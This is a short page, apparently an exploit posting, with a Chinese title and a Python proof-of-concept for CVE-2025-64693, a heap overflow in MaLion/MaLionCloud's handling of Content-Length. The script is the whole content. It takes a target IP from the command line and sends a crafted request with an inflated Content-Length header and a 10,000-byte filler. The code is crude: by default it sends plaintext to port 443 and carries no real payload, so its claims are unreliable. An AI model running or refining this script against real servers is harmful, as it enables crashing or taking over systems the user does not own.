CVE-2025-64693 MaLion/MaLionCloud Content-Length堆溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-64693 PoC - MaLion/MaLionCloud Content-Length Heap Overflow RCE # This PoC demonstrates sending a crafted HTTP request with oversized Content-Length # Note: For authorized security testing only import socket import sys def cve_2025_64693_poc(target_ip, target_port=443): """ PoC for CVE-2025-64693 Heap-based buffer overflow in Content-Length processing """ # Construct malicious HTTP request with oversized Content-Length payload = b'POST / HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' # Malicious oversized Content-Length value payload += b'Content-Length: 999999\r\n' payload += b'\r\n' # Send incomplete data that triggers heap overflow payload += b'A' * 10000 try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) response = sock.recv(4096) sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f'[*] Sending crafted request to {target}:{port}') cve_2025_64693_poc(target, port)